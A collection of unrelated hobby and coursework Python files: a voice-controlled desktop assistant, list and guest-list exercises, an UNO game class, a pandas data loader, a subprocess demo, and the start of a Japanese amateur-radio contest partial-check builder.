 os.startfile(app)\r\n    changeWallpaper()\r\n    \r\nspeak(\"Hello;This is Mark ,version1 point o;  Your personal , AI assistant\")\r\nspeak(\"Its\")\r\ntimeda()\r\n\r\n\r\nwhile True:\r\n    comm = takeCommand().lower()\r\n    if \"hello\" in comm:\r\n        greetings()\r\n    elif \"open youtube\" in comm:\r\n        speak(\"opening youtube\")\r\n        webbrowser.open(\"www.youtube.com\")\r\n\r\n    \r\n    elif \"close youtube\" in comm:\r\n        speak(\"closing it\")\r\n        os.system(\"taskkill /f /im chrome.exe\")\r\n\r\n    elif \"activate\" in comm:\r\n        changeScreen()\r\n        time.sleep(3)\r\n\r\n    elif \"open college\" in comm:\r\n        speak(\"opening college portal\")\r\n        webbrowser.open(\"https://ipec.codetantra.com/login.jsp\")\r\n    \r\n    elif \"offline\" in comm:\r\n        speak(\"Starting all application shutdown sequence\")\r\n        os.system(\"taskkill /f /im rainmeter.exe\")\r\n        speak(\"I am going offline,Sir;have a nice day\")\r\n        image=r\"C:\\Users\\91800\\Dekstop\\Mark\\image\\windows.jpg\"\r\n        ctypes.windll.user32.SystemParametersInfoW(20,0,image,0)\r\n        exit()\r\n\r\n    elif \"shutdown\" in comm:\r\n        speak(\"shutting down;sir,have a nice day\")\r\n        os.system('shutdown -s')\r\n\r\n    elif 'open gmail' in comm:\r\n        speak('openning gmail')\r\n        webbrowser.open('www.gmail.com')\r\n\r\n    elif 'search' in comm:\r\n        speak(\"Searching...\")\r\n        webbrowser.open(comm)\r\n        \r\n    elif \"wikipedia\" in comm:\r\n        try: \r\n            speak(\"Searching on Wikipedia...\")\r\n            query = comm.replace(\"wikipedia\", \"\")\r\n            results = wikipedia.summary(query, sentences=2)\r\n            speak(\"According to Wikipedia\")\r\n            speak(results)\r\n            speak(\"Thank You sir ;Anything else i can do for you?\")\r\n        except Exception as e:\r\n            speak(\"There is no results found for it sir ;Anything else i can do for you?\")   \r\n\r\n    elif 'email to me' and 'send email' in comm:\r\n            try:\r\n                speak(\"What should I say?\")\r\n                content = takeCommand()\r\n                speak(\"To whom i should send this email\")\r\n                to = takeCommand()    \r\n                sendEmail(to, content)\r\n                speak(\"Email has been sent!\")\r\n                speak(\"Want me to open gmail\")\r\n                if \"Yes\" in comm:\r\n                    webbrowser.open('www.gmail.com')\r\n                else:\r\n                    speak(\"Thank you sir ,Anthying More sir?\")  \r\n            except Exception as e:\r\n                print(e)\r\n                speak(\"Sorry buddy .I am not able to send this email\")\r\n    \r\n    elif \"buddy\" in comm:\r\n        speak(\"Yes sir!!\")\r\n    \r\n    elif \"tell me about you\" in comm:\r\n        speak(\"I am Mark 1 .o created by Mister Aneesh . I have been created on A I M L and can develop with my last mistakes . Want to test me?\")\r\n\r\n    elif \"play some songs\" in comm: \r\n        speak(\"Opening Songs\")\r\n        appli = r\"C:\\Users\\91800\\Desktop\\Spotify.lnk\"\r\n        os.startfile(appli) \r\n\r\n    elif \"close it\" in comm:\r\n        os.system(\"taskkill /f /im Spotify.lnk\")\r\n\r\n\r\n    else:\r\n        speak(\"Can you speak it again,sir\")\r\n\r\n\r\n","repo_name":"aneesh-dev1/Mark","sub_path":"Mark.py","file_name":"Mark.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41198711821","text":"\n\n\n'''# use longhand method when you need to work on each list item separately\nnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nfor index in range(len(numbers)):\n\tsquared = numbers[index] ** 2\n\tprint(f'{numbers[index] :>2d} squared is {squared :>3d}')'''\n\n\nprint('Welcome to the Guest List Builder')\n\n\nguests = []\nwhile True:\n\tnewGuest = name_regex()\n\tif newGuest == '':\n\t\tbreak\n\telse:\n\t\tguests.append(newGuest)\n#print(guests) # compare results\nprint(*guests, sep = \", \")\n\nfor index in range(len(guests)):\n\tif index < len(guests) -1:\n\t\tprint(f'Guest #{index + 1} is {guests[index]}, ', end = \"\")\n\telse:\n\t\tprint(f'and Guest #{index + 1} is {guests[index]}.')\n\nprint('{:<30}{:>7}'.format('Guest Name','Ticket'))\nfor index in range(len(guests)):\n\tprint('{:<30}{:>2}{:>5}'.format(guests[index],'#',index + 1001))\nprint('{:.<30}{:.>7}'.format('Total',len(guests)))\n\n\n# print(guests)\n# nixedSecondGuest = guests.pop(1)\n# print('Name removed: ', nixedSecondGuest )\n# print('Guest list: ', guests)\n#\n# if 'Sauron' in guests:\n# \tguests.remove('Sauron')\n# else:\n# \tprint('No such guest.')\n# print('Guest list: ', guests)\n\n\n# guests.sort()\n# print(guests)\n\n\n\n\n\n","repo_name":"mn4774jm/PycharmProjects","sub_path":"Pycharm_files/Lists/lab7.py.py","file_name":"lab7.py.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3848166819","text":"from base.baseachievementgame import BaseAchievementGame\nfrom base.basegame import BaseGame\nfrom game.model.computer import Computer\nfrom model.region import Region\nfrom util.globals import *\n\n\nclass GameD(BaseGame):\n    def __init__(self):\n        super().__init__()\n        self.turn_cnt = 0\n\n    def init(self):\n        super().init()\n        self.turn_cnt = 0\n        self.deck.set_cards(self.get_deck())\n        self.deal()\n\n\n    def get_deck(self):\n        color = list(CARD_COLOR_SET.keys())\n        cards = []\n        for c in color[1:]:\n            for v in range(1, 10):\n                cards.append(Card(c, v))\n        return cards","repo_name":"Hong-Mu/uno-python","sub_path":"game/region/regiond.py","file_name":"regiond.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"115864450","text":"#!/usr/bin/env python3\n# ==============================================================================\n# Python210 | Fall 2020\n# ------------------------------------------------------------------------------\n# Lesson03\n# List Lab (list_lab.py)\n# Steve Long 2020-09-27 | v0\n#\n# Requirements:\n# =============\n#\n# In your student dir in the class repo, create a lesson03 dir and put in a new\n# list_lab.py file. The file should be an executable Python script. That is to\n# say that one should be able to run the script directly like so:\n#\n#   $ ./list_lab.py\n#\n# (At least on OS-X and Linux).\n# – you do that with this command:\n#\n#   $ chmod +x list_lab.py\n#\n# (The +x means make this executable).\n# The file will also need this on the first line:\n#\n#   #!/usr/bin/env python3\n#\n# This is known as the \"she-bang\" line – it tells the shell how to execute that\n# file – in this case, with python3\n#\n# NOTE: on Windows, there is a python launcher which, if everything is\n# configured correctly will look at that line to know you want python3 if there\n# is more than one python on your system.\n#\n# If this doesn’t work on Windows, just run the file some other way:\n#\n#   $ python list_lab.py; OR\n#   with run in ipython; OR\n#   from your IDE or editor is you are using one\n#\n# Add the file to your clone of the repository and commit changes frequently\n# while working on the following tasks. When you are done, push your changes to\n# GitHub and issue a pull request.\n#\n# (if you are s\"ll struggling with git – just write the code for now).\n#\n# When the script is run, it should accomplish the following four series of\n# actions:\n#\n# Series 1\n# --------\n#   [1] Create a list that contains \"Apples\", \"Pears\", \"Oranges\" and \"Peaches\".\n#   [2] Display the list (plain old print() is fine...).\n#   [3] Ask the user for another fruit and add it to the end of the list.\n#   [4] Display the list.\n#   [5] Ask the user for a number and display the number back to the user and\n#       the fruit corresponding to that number (on a 1-is-first basis).\n#       Remember that Python uses zero-based indexing, so you will need to\n#       correct.\n#   [6] Add another fruit to the beginning of the list using \"+\" and display\n#       the list.\n#   [7] Add another fruit to the beginning of the list using insert() and\n#       display the list.\n#   [8] Display all the fruits that begin with \"P\", using a for loop.\n#\n# Series 2\n# --------\n#   Using the list created in series 1 above:\n#   [1] Display the list.\n#   [2] Remove the last fruit from the list.\n#   [3] Display the list.\n#   [4] Ask the user for a fruit to delete, find it and delete it.\n#   [5] (Bonus: Multiply the list times two. Keep asking until a match is\n#       found. Once found, delete all occurrences.)\n#\n# Series 3\n# --------\n#   Again, using the list from series 1:\n#   [1] Ask the user for input displaying a line like \"Do you like apples?\" for\n#       each fruit in the list (making the fruit all lowercase).\n#   [2] For each \"no\", delete that fruit from the list.\n#   [3] For any answer that is not \"yes\" or \"no\", prompt the user to answer\n#       with one of those two values (a while loop is good here) Display the\n#       list.\n#\n# Series 4\n# --------\n#   Once more, using the list from series 1:\n#   [1] Make a new list with the contents of the original, but with all the\n#       letters in each item reversed.\n#   [2] Delete the last item of the original list. Display the original list\n#       and the copy.\n#\n# # Implementation:\n# ---------------\n#\n#   - Solutions presented in 4 steps, one for each series. Runs interactively\n#     from command line.\n#\n#   - Function names, variables, block comments, line continuation, and\n#     operator spacing per PEP8 guidelines. Checked with flake8.\n#\n# Script Usage:\n# -------------\n#\n# \t./list_lab.py\n#\n# Issues:\n# -------\n#\n#   -\n#\n# History:\n# --------\n# 000/2020-10-01/sal/Created.\n# =============================================================================\n\n# [1] Series 1\n# ----------------------------------------------------------------------------\n# Assumption: List development is sequential.\n# Assumption: A degree of freedom is allowed for developing command-line UI.\n# Assumption: Operations on common list may be destructive.\n\n\ndef validated_menu_choice(choice_in, option_count):\n    \"\"\"\n    validated_menu_choice(<choice_in>, <option_count>)\n    --------------------------------------------------\n    For problem [1-5]. Validate the user menu choice, returning an\n    actionable int value.\n\n    Entry: <choice_in>    ::= (str) Menu option number.\n           <option_count> ::= (int) Number of menu options.\n    Exit:  Returns...\n           * int equivalent for 1 <= <choice_in> <= <option_count>; OR\n           * 0 if <choice_in> = 'X'; OR\n           * -1 for anything else,\n    \"\"\"\n    choice_out = (0 if (choice_in.upper() == \"X\") else -1)\n    if (choice_in.isnumeric()):\n        choice = int(float(choice_in))\n        if ((choice > 0) and (choice <= option_count)):\n            choice_out = choice\n        else:\n            choice_out = -1\n    return choice_out\n\n\ndef make_option_menu(options):\n    \"\"\"\n    make_option_menu(<options>)\n    ---------------------------\n    For problem [1-5]. Make an enumerated str of menu options.\n\n    Entry: <options> ::= (list(str*)) menu options, count > 0.\n    Exit:  Returns a displayable str of the menu options prefixed with\n           a menu option number starting with 1.\n    \"\"\"\n    option_menu = \"\"\n    option_count = len(options)\n    if (option_count > 0):\n        option_menu = \"[1] {}\".format(options[0])\n        for n in range(1, option_count):\n            option_menu = \\\n                option_menu + \", [{}]: {}\".format((n + 1), options[n])\n    return option_menu\n\n\ndef choose_option_from_menu(option_menu, option_count):\n    \"\"\"\n    choose_option_from_menu(<option_menu>, <option_count>)\n    ------------------------------------------------------\n    For problem [1-5]. Present and respond to user menu choice.\n\n    Entry: <option_menu>  ::= (str) Displayable menu options prefixed\n                              with a menu option number starting with 1.\n           <option_count> ::= (int) Number of menu options.\n    Exit:  Returns int representing user choice.\n    \"\"\"\n    prompt = \"\\n{}\\nSelect by item number or X to eXit: \"\n    choice = input(prompt.format(option_menu))\n    return validated_menu_choice(choice, option_count)\n\n\ndef select_from_menu(options):\n    \"\"\"\n    select_from_menu(<options>)\n    ---------------------------\n    For problem [1-5]. Prompt user for a menu choice.\n\n    Entry: <options> ::= (list(str*)) menu options, count > 0.\n    Exit:  4 possible outcomes based on user choice...\n\n           (1) Print 'Nothing on the menu today' and exit; OR\n           (2) Print 'Exiting from menu' and exit; OR\n           (3) Print 'Invalid choice <choice>' and ask again; OR\n           (4) Print 'Selection is <choice> (<selection>)' and ask\n               again.\n\n           where <choice> is the menu option selection and\n           <selection> is the name of the selection.\n    \"\"\"\n    selection = \"\"\n    option_count = len(options)\n    if (option_count > 0):\n        option_menu = make_option_menu(options)\n        choice = -1\n        while (choice < 0):\n            choice = choose_option_from_menu(option_menu, option_count)\n            if (choice == 0):\n                print(\"\\nExiting from menu\")\n                break\n            elif (choice > 0):\n                selection = options[choice - 1]\n                print(\"\\nSelection is #{} (\\\"{}\\\")\".format(choice, selection))\n                choice = -1\n            else:\n                print(\"\\nInvalid choice \\\"{}\\\"\".format(choice))\n    else:\n        print(\"\\nNothing on the menu today\")\n\n\ndef string_equal(a, b, ignore_case):\n    \"\"\"\n    string_equal(<a>, <b>, <ignore_case>)\n    -------------------------------------\n    For problem [1-8]. Are two strings equivalent?\n\n    Entry: <a>, <b>      ::= (str) Values to compare.\n           <ignore_case> ::= (Boolean) When True, ignore char case.\n    Exit:  Returns True if <a> and <b> are equivalent.\n    \"\"\"\n    result = (a == b)\n    if (ignore_case):\n        result = (a.lower() == b.lower())\n    return result\n\n\ndef collectp_via_loop(element_list):\n    \"\"\"\n    collectp_via_loop(<element_list>)\n    ---------------------------------\n    For problem [1-8]. Iterate on a list of str, collecting values\n    beginning with the letter 'p'.\n\n    Entry: <element_list> ::= (list(str*))\n    Exit:  Returns a list containing elements of <element_list>\n           starting with the letter 'p'.\n    \"\"\"\n    pfiltered = []\n    for e in element_list:\n        if (string_equal(e[0:1], \"p\", True)):\n            pfiltered.append(e)\n    return pfiltered\n\n\ndef collectp_via_filter(element_list):\n    \"\"\"\n    collectp_via_filter(<element_list>)\n    -----------------------------------\n    For problem [1-8]. Collect values of a list of str with the filter\n    function checking for the first letter as 'p'.\n\n    Entry: <element_list> ::= (list(str*))\n    Exit:  Returns a list containing elements of <element_list>\n           starting with the letter 'p'.\n    \"\"\"\n    return list(filter(lambda e: string_equal(e[0:1],\n                       \"p\", True),\n                       element_list))\n\n\n# ----------------------------------------------------------------------------\n# _Fruits - common data between series 1 thru 4\n# ----------------------------------------------------------------------------\n\n_Fruits = []\n\n\ndef reset_fruits():\n    \"\"\"\n    Reset the global container _Fruits.\n    \"\"\"\n    global _Fruits\n    _Fruits = [\"Apples\", \"Pears\", \"Oranges\", \"Peaches\"]\n\n\ndef member_of(list_to_search, element):\n    \"\"\"\n    Is element and member of the list?\n    \"\"\"\n    found = False\n    try:\n        found = (list_to_search.index(element) >= 0)\n    except Exception:\n        found = False\n    return found\n\n\n# [1] Series 1\n# ----------------------------------------------------------------------------\n# Assumption: List development is sequential.\n# Assumption: A degree of freedom is allowed for developing command-line UI.\n# Assumption: Operations on common list may be destructive.\n\n\ndef series_1():\n    \"\"\"\n    series_1()\n    ----------\n    Satisfy Series-1 requirements 1 through 8.\n\n    Entry: -\n    Exit:  Multiple input and output events. Modifies content of global\n           var _Fruits.\n    \"\"\"\n    global _Fruits\n    print(\"\\nSeries-1 Solutions\\n\")\n    print(\"{}\".format(\"-\" * 50))\n    #\n    # [1-1] ...creating the initial list.\n    #\n    reset_fruits()\n    #\n    # [1-2] ...printing the results of [1-1].\n    #\n    print(\"\\nfruits are {}\".format(_Fruits))\n    #\n    # [1-3] ...also added a new element check and some formatting on the\n    #       input.\n    #\n    is_new_fruit = False\n    while(not is_new_fruit):\n        next_fruit = input(\"\\n=>Enter a new fruit: \")\n        is_new_fruit = (not member_of(_Fruits, next_fruit))\n    next_fruit = next_fruit.replace(\"\\\"\", \"\").strip().capitalize()\n    _Fruits.append(next_fruit)\n    #\n    # [1-4] ...printing the results of [1-3].\n    #\n    print(\"\\nfruits are {}\".format(_Fruits))\n    #\n    # [1-5] ...a slightly more sophisticated fruit selector.\n    #\n    select_from_menu(_Fruits)\n    #\n    # [1-6] ...adding to the head of a list and printing the results.\n    #\n    print(\"\\nInsert an item at the head of a list using '+' operator:\")\n    f = \"Kiwi\"\n    more_fruits = [f] + _Fruits\n    print(f\"\\n[{f}] + {_Fruits} = {more_fruits}\")\n    _Fruits = more_fruits\n    #\n    # [1-7] ...adding to the head of a list and printing the results (again).\n    #\n    print(\"\\nInsert an item at the head of a list using the 'insert' method:\")\n    f = \"Pomegranate\"\n    initial_fruits = _Fruits.copy()\n    _Fruits.insert(0, f)\n    print(f\"\\n{initial_fruits}.insert(0,\\\"{f}\\\") = {_Fruits}\")\n    #\n    # [1-8] ...filtering via loop (and by the filter function).\n    #\n    print(\"\\nFiltering fruits starting with 'P' (upper or lower case):\")\n    pfruits = collectp_via_loop(_Fruits)\n    print(f\"\\ncollectp_via_loop({_Fruits}) = {pfruits}\")\n    pfruits = collectp_via_filter(_Fruits)\n    print(f\"\\ncollectp_via_filter({_Fruits}) = {pfruits}\")\n    print(\"\\nSeries-1 Done\")\n\n\n# [2] Series 2\n# ----------------------------------------------------------------------------\n# Assumption: List development is sequential.\n# Assumption: A degree of freedom is allowed for developing command-line UI.\n# Assumption: Operations on common list may be destructive.\n\n\ndef delete_fruit_by_name(fruits_in):\n    \"\"\"\n    \"\"\"\n    fruit_to_delete = \"\"\n    fruit_exists = False\n    print(f\"\\nfruits_in = {fruits_in}\")\n    if (len(fruits_in) > 0):\n        while(not fruit_exists):\n            fruit_to_delete = input(\"\\nWhich fruit shall be deleted? \")\n            fruit_to_delete\\\n                = fruit_to_delete.replace(\"\\\"\", \"\").strip().capitalize()\n            fruit_exists = any(string_equal(fruit, fruit_to_delete, True)\n                               for fruit in fruits_in)\n            if (not fruit_exists):\n                print(\"\\nThat fruit does not exist. Pick one from the list.\")\n        while fruit_exists:\n            fruits_in.remove(fruit_to_delete)\n            fruit_exists = any(string_equal(fruit, fruit_to_delete, True)\n                               for fruit in fruits_in)\n        # [3] Display the list.\n        print(\"\\ndelete_fruit_by_name(fruits_in) = {}\".format(fruits_in))\n    else:\n        print(\"\\nThere is no fruit in the fruits list.\")\n    return fruits_in\n\n\ndef series_2():\n    \"\"\"\n    series_2()\n    ----------\n    Satisfy Series-2 requirements 1 through 5.\n    \"\"\"\n    global _Fruits\n    reset_fruits()\n    print(\"\\nSeries-2 Solutions\")\n    print(\"{}\".format(\"-\"*50))\n    #\n    # [1] Display the last state of list fruits.\n    #\n    print(f\"\\nfruits = {_Fruits}\")\n    #\n    # [2] Remove the last fruit from the list.\n    #\n    last_index = len(_Fruits) - 1\n    del(_Fruits[last_index])\n    #\n    # [3] Display the list.\n    #\n    print(\"\\ndel(fruits[{}])\\n\\nfruits = {}\".format(last_index, _Fruits))\n    #\n    # [4] Remove a fruit from list by name.\n    #\n    existing_fruits = _Fruits.copy()\n    delete_fruit_by_name(existing_fruits)\n    #\n    # [5] Add duplicates of every item in list and repeat task [4] so that\n    #     all occurrences of fruit are removed.\n    #\n    double_fruits = existing_fruits.copy()*2\n    delete_fruit_by_name(double_fruits)\n    #\n    # Set shared list to last working list.\n    #\n    _Fruits = double_fruits\n    print(\"\\nSeries-2 Done\")\n\n\n# [3] Series 3\n# ----------------------------------------------------------------------------\n# Assumption: List development is sequential.\n# Assumption: A degree of freedom is allowed for developing command-line UI.\n# Assumption: Operations on common list may be destructive.\n\n# --------------------------\n# Series 3 command constants\n# --------------------------\n_SER3_CMD_YES = \":yes\"\n_SER3_CMD_NO = \":no\"\n_SER3_CMD_EXIT = \":exit\"\n\n\ndef response_to_command(user_response):\n    \"\"\"\n    response_to_command(<user_response>)\n    ------------------------------------\n    Convert a user response to a function command.\n\n    Entry: <user_response> ::= (str) from input function.\n    Exit:  Returns _SER3_CMD_YES for <user_response> like \"y*\"; OR\n           _SER3_CMD_NO for <user_response> like \"n*\"; OR\n           _SER3_CMD_EXIT for <user_response> like \"ex*\"; OR\n           \"\" for all other input.\n    \"\"\"\n    global _SER3_CMD_YES\n    global _SER3_CMD_NO\n    global _SER3_CMD_EXIT\n    result = \"?\"\n    if (string_equal(user_response[0:1], \"y\", True)):\n        result = _SER3_CMD_YES\n    elif (string_equal(user_response[0:1], \"n\", True)):\n        result = _SER3_CMD_NO\n    elif (string_equal(user_response[0:2], \"ex\", True)):\n        result = _SER3_CMD_EXIT\n    else:\n        result = \"\"\n    return result\n\n\ndef equalp(a, b, ignore_case):\n    \"\"\"\n    equalp(<a>, <b>, <ignore_case>)\n    -------------------------------------\n    For problem [1-8]. Are two values equivalent?\n\n    Entry: <a>, <b>      ::= (str) Values to compare.\n           <ignore_case> ::= (Boolean) When True, ignore char case when\n                             both <a> and <b> are strings.\n    Exit:  Returns True if <a> and <b> are equivalent.\n    \"\"\"\n    if ((type(a) is str) and (type(b) is str)):\n        result = string_equal(a, b, ignore_case)\n    else:\n        result = (a == b)\n    return result\n\n\ndef delete_from_list(list_in, element_to_delete):\n    \"\"\"\n    delete_from_list(<list_in>, <element_to_delete>)\n    ------------------------------------------------\n    Delete all occurrences of a value from a list.\n\n    Entry: <list_in>           ::= (list) to delete from.\n           <element_to_delete> ::= Value to delete.\n    Exit:  Returns <list_in> with <element_to_delete>) removed.\n    \"\"\"\n    element_exists = any(equalp(element, element_to_delete, True)\n                         for element in list_in)\n    while element_exists:\n        list_in.remove(element_to_delete)\n        element_exists = any(equalp(element, element_to_delete, True)\n                             for element in list_in)\n    return list_in\n\n\ndef get_user_command(subject):\n    \"\"\"\n    get_user_command(<subject>)\n    ---------------------------\n    Get command response for dialog response to 'Do you like <subject>\n    ([Y]es, [N]o, or e[X]it)?'\n\n    Entry: <subject> ::= (str) subject of prompt\n    Exit:  Returns _SER3_CMD_YES, _SER3_CMD_NO, _SER3_CMD_EXIT, or blank.\n    \"\"\"\n    user_response = input(\"\\nDo you like {} ([Y]es, [N]o, or e[X]it)? \"\n                          .format(subject.lower()))\n    user_response = user_response.replace(\"\\\"\", \"\").strip().lower()\n    user_cmd = response_to_command(user_response)\n    return user_cmd\n\n\ndef series_3():\n    \"\"\"\n    series_3()\n    ----------\n    Satisfy Series-3 requirements 1 through 3.\n\n    Entry: -\n    Exit:  Multiple input and output events.\n    \"\"\"\n    global _Fruits\n    reset_fruits()\n    valid_commands = (_SER3_CMD_YES, _SER3_CMD_NO, _SER3_CMD_EXIT)\n    print(\"\\nSeries-3 Solutions\")\n    print(\"{}\".format(\"-\"*50))\n    #\n    # [1] Query for user fruit fondness\n    #\n    local_fruits = _Fruits.copy()\n    print(\"\\nfruits = {}\".format(local_fruits))\n    unique_fruits = set(local_fruits)\n    for unique_fruit in unique_fruits:\n        user_cmd = get_user_command(unique_fruit)\n        while (not (user_cmd in valid_commands)):\n            #\n            # [3] Limit user responses to \"yes\", \"no\"\", and \"exit\" (last valid\n            #     response allows user to bail out of processing every unique\n            #     fruit, which can be tedious.)\n            #\n            print(\"\\nInvalid response.\")\n            user_cmd = get_user_command(unique_fruit)\n        if (user_cmd == _SER3_CMD_YES):\n            #\n            # No action for \"yes\" or \"y*\".\n            #\n            continue\n        elif (user_cmd == _SER3_CMD_NO):\n            #\n            # [2] When the user response is \"no\". Also works for \"na\" and\n            #     \"nyet\" and \"non\".\n            #\n            print(f\"\\nDeleting {unique_fruit}\")\n            local_fruits = delete_from_list(local_fruits, unique_fruit)\n            print(f\"\\nfruits = {local_fruits}\")\n        elif (user_cmd == _SER3_CMD_EXIT):\n            #\n            # User entered \"ex*\". Exit loop.\n            #\n            break\n        else:\n            #\n            # This should never be reached but I always include an 'else' in\n            # an if-elif-else block.\n            #\n            continue\n    print(f\"\\nRemaining fruits = {local_fruits}\")\n    print(\"\\nNo fruit was bruised in the running of this function.\")\n    print(\"\\nSeries-3 Done\")\n\n\n# [4] Series 4\n# ----------------------------------------------------------------------------\n# Assumption: List development is sequential.\n# Assumption: A degree of freedom is allowed for developing command-line UI.\n# Assumption: Operations on common list may be destructive.\n\n\ndef reverse_string(s):\n    return s[::-1]\n\n\n#   [1] Make a new list with the contents of the original, but with all the\n#       letters in each item reversed.\n#   [2] Delete the last item of the original list. Display the original list\n#       and the copy.\n\n\ndef series_4():\n    \"\"\"\n    series_4()\n    ----------\n    Satisfy Series-4 requirements 1 through 2.\n\n    Entry: -\n    Exit:  Multiple input and output events.\n    \"\"\"\n    global _Fruits\n    reset_fruits()\n    print(\"\\nSeries-4 Solutions\")\n    print(\"{}\".format(\"-\"*50))\n    original_list = _Fruits.copy()\n    #\n    # [1] Original list with chars in string elements reversed.\n    #\n    print(f\"\\noriginal_list = fruits.copy() = {original_list}\")\n    rev_element_list = list(map(reverse_string, original_list))\n    print(\"\\nrev_element_list = list(map(reverse_string,original_list)) = {}\"\n          .format(rev_element_list))\n    #\n    # [2] Original list with last element removed.\n    #\n    copied_list = original_list.copy()\n    print(\"\\ncopied_list = {}\".format(copied_list))\n    del copied_list[-1]\n    print(\"\\ndel copied_list[-1]\")\n    print(\"\\ncopied_list = {}\".format(copied_list))\n    print(\"\\noriginal_list = {}\".format(original_list))\n\n\nif (__name__ == \"__main__\"):\n    #\n    # Satisfies overall requirement for command-line execution.\n    #\n    series_1()\n    series_2()\n    series_3()\n    series_4()\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/steve-long/lesson03-seq-iter-strings/ex-3-2-list_lab/list_lab.py","file_name":"list_lab.py","file_ext":"py","file_size_in_byte":21297,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"17211295870","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct  4 12:46:30 2016\nDave plays around with Bosch data\n@author: Dave\n\"\"\"\n\nimport pandas as pd\nimport os\n\ndates = pd.read_csv('train_date.csv',\n                    nrows = 10000, \n                    index_col = 0, \n                    dtype = pd.np.float64,)\n                    \nnumeric = pd.read_csv('train_numeric.csv',\n                    nrows = 10000, \n                    index_col = 0, \n                    dtype = pd.np.float32,)\n","repo_name":"hueykwik/bosch","sub_path":"bosch_play.py","file_name":"bosch_play.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2487311868","text":"import os\nimport subprocess\nimport ctypes\nimport sys\n\n# 如何获得管理员权限\n# https://blog.csdn.net/qq_17550379/article/details/79006655\n# https://blog.csdn.net/qq_17550379/article/details/79006718\n# print(ctypes.windll.shell32.IsUserAnAdmin())\n\n# 1. 使用 os.system 可以直接调用系统命令\n# 返回值表示程序执行是否成功\nos.system('echo hello world')\nret = os.system('aaaa')\nprint(ret)\n\n# 2. os.popen 可以获取命令的输出\npy_ver = os.popen('python -V').read()\nprint(py_ver)\n\n# 3. subprocess 用来运行其他程序的库\n# 参考资料：https://www.cnblogs.com/zhoug2020/p/5079407.html\n# 3.1 call 类似于 os.system 更多参数和调用方式\nsubprocess.call(['dir', '.'], shell=True, cwd='C:/proj')\nsubprocess.call('echo -----------------------------', shell=True)\n\n# 3.2 Popen 可以用于交互\n#     os.popen 也使用了 subpress\n#     实时输出 https://blog.csdn.net/u012206617/article/details/84560895\ncmd = subprocess.Popen('cmd.exe', shell=True,\n                       stdin=subprocess.PIPE, stdout=subprocess.PIPE)\ncmd.stdin.write(b'ping www.baidu.com\\r\\n')\ncmd.stdin.write(b'exit\\r\\n')  # 如果不退出后边会卡在 stdout.read\ncmd.stdin.flush()\n# 使用 poll 检查子进程有没有关闭\nwhile cmd.poll() is None:\n    line = cmd.stdout.readline()\n    # Popen 有 encodeing 参数还没试\n    print(line.decode('gbk'), end='')\n\n#  3.2 check_call 执行并检查返回值，失败抛出异常\ntry:\n    subprocess.check_call('abcdef',shell=True)\nexcept subprocess.CalledProcessError as e:\n    print(e)\n    print(e.returncode)","repo_name":"xd-ydchen/small_code","sub_path":"system/system_call.py","file_name":"system_call.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72199220580","text":"'''\n公開情報からパーシャルチェックリストを作成する\n\nupdate_ctestwin_pck.py\n2021.Oct.25 7M4MON\n\n2020年現在、日本のアマチュア無線局数はおよそ40万局ですが、\nこのうち、JARLの国内4大コンテストに 2015-2019の5年間で書類を提出した局は、\nおよそ6000局（7M4MON 調べ）です。\nコールサインのアルファベット・数字の組み合わせは膨大な数がありますが、\nコンテストに参加する局は、ほとんど上記の6000局のコールサインです。\nそのため、過去の交信履歴等からある程度の予測と省力化が可能です。\nコンテストロギングソフトでは、コールサインの一部を入力すると\n交信相手のコールサイン候補が表示されるパーシャルチェックという機能があります。\nパーシャルチェックではコールサインだけではなくコンテストナンバーの候補も表示されます。\n上記の国内4大コンテストのコンテストナンバーは RS(T) ＋ 運用地の都府県・北海道地域番号または\n市郡区番号＋空中線電力を表すアルファベット１文字です。\n総務省の無線免許状検索ではコールサインで検索すると常置場所の市区町村名まで分かりますので、\nコンテスト書類提出局のコールサインとつき合わせて、パーシャルチェックのデータベースを作成しました。\n\n* プログラムの流れ\n1.コンテストの結果ページを読み込んで、コールサインを抜き出す\n2.既存の ctestwin.pck を読み込んで、コールサインを抜き出す\n3. 1と2を結合し、重複を削除し、ソートする\n4.総務省の免許状検索データベースから常置場所を取得する\n5.常置場所の市町村名から市郡区番号を取得する\n6. 3と4と5を結合して、ctestwin.pckを作成\n\n以前は新規参加局を追記していくスタイルでしたが、時間経過とともに\n廃局されたり常置場所を変更されたりする局が増えてきますので、\n全てのコールサインを再検索して、最新の常置場所に置き換えるとともに\n免許状検索に登録されていない局はリストから削除する方針に変更しました。\n'''\n\ncontest_result_url = \"https://www.jarl.org/Japanese/1_Tanoshimo/1-1_Contest/6m/2021/entry.html\"\nread_pck_filename = \"./ctestwin_20211024.pck\"       # 前回作成したパーシャルチェックファイル名\nwrite_pck_filename = \"./ctestwin_20211122.pck\"      # 今回作成するパーシャルチェックファイル名\nnew_callsign_filename = \"./2021_6m_new.txt\"      # 今回のコンテストの新規参加局\nread_acag_filename = './pref_acag.csv.txt'          # 市町村郡名とコードの対照表（.csvだとExcelで開いたときに先頭の 0 が消えるのを嫌って .txtにしてある)\nwait_sec = 3                                        # 過負荷をかけないようにするための、1件あたりのウェイト時間。3のとき4878件で5時間半程度。\npass_idx = 0                                        # 中断したときに飛ばすインデックス番号\n\nimport requests, re, json, time, csv, datetime\n\n'''コールサイン抜き出し用正規表現'''\ncs_re = '[J|7][A-S][0-9][A-Z]+? '           # Jまたは7で始まり、2文字目がAからSのアルファベット、3文字目が数字、4文字目からアルファベットが続き、末尾にデリミタの半角スペース\n#cs_re = ' (J[A-S][0-9]|[7-8])[A-Z]+? '     #サクラエディタではOKだがpythonだとだめ\n#cs_re = ' 